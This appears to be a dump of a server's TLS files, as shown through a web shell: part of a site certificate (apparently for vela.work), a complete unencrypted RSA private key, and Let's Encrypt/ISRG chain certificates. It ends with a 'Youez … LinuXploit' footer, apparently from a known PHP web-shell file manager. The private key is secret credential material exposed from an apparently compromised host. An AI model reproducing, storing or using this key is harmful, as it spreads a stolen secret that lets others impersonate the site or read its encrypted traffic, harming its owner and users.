GmpKvf5+7Opy0lEwHwYDVR0jBBgwFoAUHy81vkYUgs1Asa55LFV4+vfUaPswMwYI
KwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8veXIxLmkubGVuY3Iub3Jn
LzAUBgNVHREEDTALggl2ZWxhLndvcmswEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYD
VR0fBCcwJTAjoCGgH4YdaHR0cDovL3lyMS5jLmxlbmNyLm9yZy82MS5jcmwwggEM
BgorBgEEAdZ5AgQCBIH9BIH6APgAdwDXbX0Q0af1d8LH6V/XAL/5gskzWmXh0LMB
cxfAyMVpdwAAAZ+StizKAAAEAwBIMEYCIQCuHSXy9V/lSBKjXsgO/F73STCddNGf
yCCtsJvF+mhlpAIhANvGPH5l5nTaRMCLuriZHCkQ5TTTwPjKbyee2Nslmn/dAH0A
Goudaw/+v4G0eTnG0jEKhtbRAtTwRuIYLJ3jX14mJe8AAAGfkrYuCQAIAAAFAC0c
zZMEAwBGMEQCIAacqiTST5Z4tucxOm7t8gcMW3mWTsx6SGr/HNwKSWf4AiBj6Tmj
wp/OT1Q/j/5/mJyboGs0MogJfUsT14x11OFxFjANBgkqhkiG9w0BAQsFAAOCAQEA
WViArKYrOqBn+DRq5Vg/IaJJ13ou3IHvZT0AMuKifbak/dmOR2o7YzCeRI6uEVRf
qQOWc6j4Ax0mF5aaUEhnX03Mz2ubZvJxILRX9NiPGZRt3zQ/WxRec/tjLddotlkB
y6kMeCjMrIE5GaDYuwPi90CRBtu95zqM1jakvwCDbEUoiM7rdUokmYHrGEH2otBv
/Si3e2viR39joBBRx+3PGNppp3D4ZpeZ2d930cge5UfroM6HsSASLZN7vWq2oePS
JLGb3OPrEFyrBk6vtV2f7CzN4ukkCBDfpx9vm4kXlv18Z0HLPQH/BDh1MVBPZCrE
T7V/TMJm7LpJihxC20L8PQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDU+SJ67t/O4ZxZ
QwdnnmuAUnSPXka3a+eZjyBEhr6jJxDIc1IhhO/iXA0I32ShQgdgcEpeC+5wuN/l
GqcFYglDAbpojWyIMy4Bu7IPpDv4wFcYZXXIt73qPa25kAVsf2pTORlOBhWB0RQT
DdVugpf7FQn5KvNNiPGMnEr6kiWYJimdXBs77z6zuSklbhovyjrLxsDYmhB9AZb+
Ffadd/TuLLpPjY3QHO5ReHqf9l/uGoBBLPRdh2yjphFWO2ix8ERUVfWU5ODaQpFI
vvJeyvQsRPgZAdxaHffvND1ZvINJRRGGek7xsVMElKltGbBQGKIZpuL8PkOqPWut
WGuCmTzhAgMBAAECggEAN7yRzQl6EjsSP3we0nvv12/86E58hGFdhd8iyzxWZP2C
02r22iXf3+ZGVQWd4OQWaSNKGy3VM7P2iI9+mZaMJPitT9J/Tm/SgQqdsaFCProb
sRtQhXys28JTlmY+PSRlb61YVYabF1PgBJKQwnC0FLZvW0Hl1etah/mZV9VquFP+
FjDCAwkCSmBr8y+kbhHp1JccldyTevXLiARRu0MmnxVhuDyrgeUn/itlBIyLc5rH
2zNspspovOpKX7tuBo63I6H3qfTzkuyu/nDWDw06+2K4DDIC/zEJidQt/SLTCsrR
hkp20VGC1fTvuj1VDXbQgDq0Oz8pONMV4HRe5sgf9wKBgQD2rGnykL3/pe4FzHA6
euS77jhO1QryWEPk85++BaoyeX5wi3muSYaU6bBih9Htgqe1F2fq1eij+GX00k4Q
N0tWn/Pdxlr9HjOWR8PkgTORnN7NlfSUxbnn+uvMOKxQaDEmhdvW5INd6cYGhsCH
mfiGKRj34LLKtA8TQxUGW7fnWwKBgQDdBoftyhxh876rjxbCysuC33uTlwQjcQ9c
tnvliX/GI5Lss6VdxGo+wgonJ8D7OjoixT17tYBTy4buFpk4TJocojWcEq5BgBkD
CDUSHwHA1liOAjYfB9lUuhWAurhEpYp0Oont7mmbK3Pt78m3t/iC8Sfi2rdXBUQ1
a8J17wUdcwKBgQDlfcqj7Z2Wtp0Xr/fJsIQVg6/HR9WDWjLwUugPNd3+T6IeuuRe
DfGzoSaExK++NIwqorf/dzuVMYhJmU8fLxJcaTvM3LnSO8Lq0aGiecGsezGeOyDt
OHeZJ40w1pkZxZXUrTy2VKsTOGcPs1Zz0f+xcZLVKqusgpBz7zkkTThveQKBgQDU
Guxe+dH6/hpAMPS6wjpCwYypugayrFD9u/Fx+V2xG3pnxI4xSchbqYJsyO2dKeeY
bofuK+OWhn5aBT3MlVZfnBquSA8JtJBMJJgpZ7AbCpe4z854QOQDNwBjpMwotGQF
3hd3SY/25OA/uhluQRIvNpX8UcAXtmoaier3mgTimQKBgQDDzbuDTGJLbU1lK6Qi
6HbQsn0NSa1ZzOGwIQQFyZVO/+m22CvBUvXFP5+q2WzzUTtPRUBWEiGIPHx2+4GI
gea30+hqrP/eRGcu0iMPbupbewKihzkO+a86cSG8e2kgnZQUyENzUIMUEO7y+nWs
/bsxWAmZssNuZ6QmIoI30qwhtA==
-----END PRIVATE KEY-----


-----BEGIN CERTIFICATE-----
MIIE2zCCAsOgAwIBAgIRAKICU/FfJpHAXcHOE7m8yk4wDQYJKoZIhvcNAQELBQAw
LjELMAkGA1UEBhMCVVMxDTALBgNVBAoTBElTUkcxEDAOBgNVBAMTB1Jvb3QgWVIw
HhcNMjUwOTAzMDAwMDAwWhcNMjgwOTAyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEW
MBQGA1UEChMNTGV0J3MgRW5jcnlwdDEMMAoGA1UEAxMDWVIxMIIBIjANBgkqhkiG
9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoVi8X2xCYgMXvJxNPKp/oF13UMgmPABB07VC
LNDtoXmt9luEZNJSBV10VyT1Pz6LD8Zq1d2gc43WNl1AdRrj4sEnazbOiz0nPpmG
Bp2hui49oZtDIY6wdKeZAi5BbNU20CH6RSBBMLSQ9cXrH8dxdv4PAJ45ssGML68U
SE3BsjC2a6cAN9L5CgXVIQi5tfNiTPoFZZ3S0OlXqLmmtdV95udWAb5b6e/F49Di
CsH0Y00Ag72BVIb1hzynmKe+X0mERBTtsb3BwmpV9ipeBjMLoR/D9cHxHQCWoi5l
TmXwY015J5rGelz1nZjJuxc2kioaX29XJBnhMkP531rSdG5uMwIDAQABo4HuMIHr
MA4GA1UdDwEB/wQEAwIBhjATBgNVHSUEDDAKBggrBgEFBQcDATASBgNVHRMBAf8E
CDAGAQH/AgEAMB0GA1UdDgQWBBQfLzW+RhSCzUCxrnksVXj699Ro+zAfBgNVHSME
GDAWgBTe51tg0CJtQCh9Pw0B/qS1UrRRlDAyBggrBgEFBQcBAQQmMCQwIgYIKwYB
BQUHMAKGFmh0dHA6Ly95ci5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwB
AgEwJwYDVR0fBCAwHjAcoBqgGIYWaHR0cDovL3lyLmMubGVuY3Iub3JnLzANBgkq
hkiG9w0BAQsFAAOCAgEA0+zvMq3kHig1ddTmmm+RibTr9/RpX7k4buanMMRqbV/y
IvP82zAHN3mvaw+cASuVsdpd0ikjhr4hnhJQLQOzOp2ccKrsdGOAgo0vddeISFAq
EWEV4lmUM3vFF796up+bSgmJ1u6RupDCMxDgF8M3eLvGuj6L0lu3zkQ0KuQLnKxL
tB0oQqn1Idg5CuuGpMvQzk29Pa3D/qHurc0EIM9SxukQuJqq63lxsYyRQFU8yMBO
hq1w5LbfaWNRrz1uklOfI/pYkAb2E2MTZrAMQkBIE2S8Jt1F8gRc96o/xOsrgvSk
a84AisX6xq1lz1Z7jGvrnXc4TMcjxZTjiTaihcYI1JIXZiLtEMSCa5l3cu8YWd6z
dLRQlqRdclVjuQfNHawRJ6GWlkK0QJosivTKwdBw3KxEtzGo8yMHERbsy57gP1UX
HOMcmZYQC0gtyR3SxfenIM/MxC3Ia2Ypab/kQ/CTnlIn2KQ5JUC6NYrGCbhFN9bp
5lKJStEwCUnLpntcrXk5XVDCNv/5RyWpRThkGOV7GetKkQ0qAY8hCzWK6oqnAhDZ
cjlYVdWfqOw3DIOX6EDNBgAqHarRVxyF9QZdOaXSyPJ0ueD2BYJEBgaCGQ8rAaU/
Qc123V5LTXDZW4CcsPBDyhy4v+c8hClAyw/IkJlfBqxB9D+/wvIMHgECZ4ptP6o=
-----END CERTIFICATE-----

-----BEGIN CERTIFICATE-----
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
-----END CERTIFICATE-----







Youez - 2016 - github.com/yon3zu
LinuXploit